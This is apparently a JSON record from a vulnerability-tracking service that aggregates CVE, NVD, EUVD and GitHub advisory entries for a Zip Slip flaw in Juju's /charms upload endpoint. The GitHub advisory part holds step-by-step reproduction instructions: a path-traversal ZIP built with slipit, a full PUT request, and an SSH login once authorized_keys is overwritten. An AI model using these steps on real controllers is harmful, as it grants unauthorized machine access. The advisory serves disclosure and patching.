{"id":"GO-2025-3804","revision":null,"records":[{"revision":"96bbf405c00944f19d1e290d53b6aa4d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-53513","aliases":[],"title":"Zip slip vulnerability in Juju","description":"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.","state":0,"publishedAt":"2025-07-08T16:57:06.351+00:00","modifiedAt":"2025-07-09T14:00:10.613+00:00","affected":[{"ecosystem":"https://juju.is/","name":"juju","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"collectionURL\": \"https://juju.is/\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageName\": \"juju\",\n                    \"platforms\": [\n                        \"Linux\"\n                    ],\n                    \"product\": \"Juju\",\n                    \"repo\": \"https://github.com/juju/juju\",\n                    \"vendor\": \"Canonical\",\n                    \"versions\": [\n                        {\n                            \"lessThan\": \"2.9.52\",\n                            \"status\": \"affected\",\n                            \"version\": \"2.0.0\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"lessThan\": \"3.6.8\",\n                            \"status\": \"affected\",\n                            \"version\": \"3.0.0\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-53513","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-53513","identifiers":["CVE-2025-53513"]},"retained":false,"historicalAffected":[]},{"revision":"5146f3127e7b4d8d9d322f587edbf518","observedAt":"2026-11-23T16:32:27.612+00:00","statement":{"source":"euvd","id":"EUVD-2025-20670","aliases":["CVE-2025-53513","GHSA-24ch-w38v-xmh8"],"title":"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attac…","description":"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-20670","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2025, 4:57:06 PM","dateUpdated":"Jul 9, 2025, 2:00:10 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2025:15405-1","title":"govulncheck-vulndb-0.0.20250730T213748-1.1 on GA media","vulnerabilityIds":["CVE-2024-44905","CVE-2024-44906","CVE-2024-56731","CVE-2025-0928","CVE-2025-1088","CVE-2025-30086","CVE-2025-32019","CVE-2025-3227","CVE-2025-3228","CVE-2025-3415","CVE-2025-4563","CVE-2025-4656","CVE-2025-46702","CVE-2025-4674","CVE-2025-47281","CVE-2025-47871","CVE-2025-47943","CVE-2025-4922","CVE-2025-4981","CVE-2025-49825","CVE-2025-5030","CVE-2025-51471","CVE-2025-52477","CVE-2025-52889","CVE-2025-52890","CVE-2025-52893","CVE-2025-52894","CVE-2025-52900","CVE-2025-52901","CVE-2025-52902","CVE-2025-52903","CVE-2025-52904","CVE-2025-52995","CVE-2025-52996","CVE-2025-52997","CVE-2025-53512","CVE-2025-53513","CVE-2025-53547","CVE-2025-53632","CVE-2025-53633","CVE-2025-53634","CVE-2025-53826","CVE-2025-53893","CVE-2025-53945","CVE-2025-54059","CVE-2025-54379","CVE-2025-5689","CVE-2025-5981","CVE-2025-6023","CVE-2025-6032","CVE-2025-6224","CVE-2025-6226","CVE-2025-6227","CVE-2025-6233","CVE-2025-6264","CVE-2025-6624"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-20670","identifiers":["EUVD-2025-20670","CVE-2025-53513","GHSA-24ch-w38v-xmh8"]},"retained":false,"historicalAffected":[]},{"revision":"5c4ae3cd879d4762a2d846f2cf0b64a2","observedAt":"2026-10-25T02:25:06.051+00:00","statement":{"source":"nvd","id":"CVE-2025-53513","aliases":[],"title":"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attac…","description":"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.","state":0,"publishedAt":"2025-07-08T17:16:04.593+00:00","modifiedAt":"2026-06-17T09:38:21.63+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security@ubuntu.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-53513","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-24","CWE-22"],"productCriteria":["cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2025-07-08T17:16:04.593","lastModified":"2026-06-17T09:38:21.630"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-53513","identifiers":["CVE-2025-53513"]},"retained":false,"historicalAffected":[]},{"revision":"aee4c447463648949b3b0a4736587289","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-24ch-w38v-xmh8","aliases":["CVE-2025-53513","GO-2025-3804"],"title":"Juju zip slip vulnerability via authenticated endpoint","description":"### Impact\n\nAny user with a Juju account on a controller can upload a charm to the /charms endpoint.\nNo specific permissions are required - it's just sufficient for the user to exist in the controller user database.\nA charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.\n\n### Details\n\nA controller exposes three charm-related HTTP API endpoints, as follows:\n- PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm>\n- POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms\n- GET https://<controller-ip>:17070/charms\n\nThese endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.\n\nTo reproduce:\n\n```\njuju bootstrap\njuju add-user testuser\njuju change-user-password testuser\n```\n\nDownload the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm)\n\nDownload and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit)\n\nRun the following command to generate a new SSH key pair: `ssh-keygen`\n\nCopy the contents of the newly created public key into a file called `authorized_keys`\n\nRun the following command to inject the malicious path into the ZIP file:\n```\nslipit hello.zip authorized_keys --separator ../../../../../../home/\nubuntu/.ssh/\n```\n\nSend the PUT request below to a model on the target controller. Note the following:\n- the model UUID and controller IP address in the request must be updated\n- the Juju-Curl header needs to be sent with a value that starts with the “local:” string\n- the PUT body content should have the exact contents of the ZIP file\n- the Basic Authorization header should be tied to the user that was created above\n- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-<updated-sha>`)\n- \n```\nPUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c\nHTTP/1.1\nHost: 10.4.154.217:17070\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko\n/20100101 Firefox/135.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\nTe: trailers\nConnection: keep-alive\nContent-Length: 40021\nContent-Type: application/zip\nJuju-Curl: local:pathtw\nAuthorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==\n<ZIP BODY Content>\n```\n\nObserve that the response states that the charm has been uploaded.\n\nAttempt to SSH to the controller by using the private key that was generated above.\n\nObserve that it is possible to authenticate because the file has been overwritten.\n\n### Code\n\nThe /charms handlers are registered here\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990\n\nAnd the only auth required is that the incoming request be for an authenticated user\n\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754\n\nbut no specific permission checks are done.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\n[F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)","state":0,"publishedAt":"2025-07-09T15:29:03+00:00","modifiedAt":"2026-07-08T07:14:03.6504709+00:00","affected":[{"ecosystem":"Go","name":"github.com/juju/juju","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20250619215741-6356e984b82a"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8","https://nvd.nist.gov/vuln/detail/CVE-2025-53513","https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405","https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e","https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view","https://github.com/juju/juju","https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754","https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897","https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990","https://pkg.go.dev/vuln/GO-2025-3804"],"sourceUrl":"https://github.com/advisories/GHSA-24ch-w38v-xmh8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-24ch-w38v-xmh8","identifiers":["GHSA-24ch-w38v-xmh8","CVE-2025-53513","GO-2025-3804"]},"retained":false,"historicalAffected":[]},{"revision":"ee2c72bd161f40f5b890413eac52f701","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-3804","aliases":["CVE-2025-53513","GHSA-24ch-w38v-xmh8"],"title":"Juju zip slip vulnerability via authenticated endpoint in github.com/juju/juju","description":"Juju zip slip vulnerability via authenticated endpoint in github.com/juju/juju","state":0,"publishedAt":"2025-07-28T19:57:13+00:00","modifiedAt":"2026-03-03T04:57:21.799494+00:00","affected":[{"ecosystem":"Go","name":"github.com/juju/juju","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20250619215741-6356e984b82a"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8","https://nvd.nist.gov/vuln/detail/CVE-2025-53513","https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405","https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e","https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view","https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754","https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897","https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-3804","license":"OSV · upstream source license applies","key":"osv:GO-2025-3804","identifiers":["GO-2025-3804","CVE-2025-53513","GHSA-24ch-w38v-xmh8"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-25T14:28:46.1367144+00:00","complete":true,"records":1795,"lastAttemptAt":"2026-11-25T14:28:46.1367144+00:00","lastSuccessAt":"2026-11-25T14:28:51.9077546+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:51.9080982+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8d356adab43082cb10bb7c033ed58312cf2ad2f0fb10e0afdf27fc89fa361f3b-58fb4f849b31541f049fec537a356eed3bacf6917384f6316a1581ca42cabee1","complete":true,"records":432138,"lastAttemptAt":"2026-11-25T14:28:39.3807942+00:00","lastSuccessAt":"2026-11-25T13:44:54.4943444+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:39.3807942+00:00","snapshotPublishedAt":"2026-11-25T13:20:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-20a49458ceae49e394c48dea1e375753","complete":false,"records":13938,"lastAttemptAt":"2026-11-25T14:34:23.2072341+00:00","lastSuccessAt":"2026-11-25T14:34:23.203+00:00","error":"120 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-25T14:34:23.203+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13664,"expectedIdentifiers":13986,"failedIdentifiers":120},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-25T14:28:46.1367144+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-25T14:28:46.1367144+00:00","lastSuccessAt":"2026-11-25T14:28:52.1107389+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:52.1107403+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0706f4f26289468d8444f9f1b50f35d8","complete":true,"records":13950,"lastAttemptAt":"2026-11-25T14:29:34.8783794+00:00","lastSuccessAt":"2026-11-25T14:29:34.81+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:29:34.81+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13986,"expectedIdentifiers":13986,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-70b1e3058f76fab20c77bb1c4924a4c57f7654dd208befb5b1f237e682d6ddca","complete":true,"records":10077,"lastAttemptAt":"2026-11-25T14:28:43.5224151+00:00","lastSuccessAt":"2026-11-25T11:46:59.5507764+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:43.5224151+00:00","snapshotPublishedAt":"2026-11-25T11:03:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-25T14:28:42.7491626+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:42.7491626+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5be533520b83c9bfaebc80695093f6f0d59feafc2a1eab94e91dd79d1bb9241b","complete":true,"records":3222,"lastAttemptAt":"2026-11-25T14:28:43.9301039+00:00","lastSuccessAt":"2026-11-25T11:47:03.6026853+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:43.9301039+00:00","snapshotPublishedAt":"2026-11-25T11:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-13386314c41bf037eb8784b89525b249650641e645a6e70d1fe37f29e9ef714c","complete":true,"records":233128,"lastAttemptAt":"2026-11-25T14:28:43.327083+00:00","lastSuccessAt":"2026-11-25T13:47:03.1039798+00:00","error":null,"lastVerifiedAt":"2026-11-25T14:28:43.327083+00:00","snapshotPublishedAt":"2026-11-25T13:33:45+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}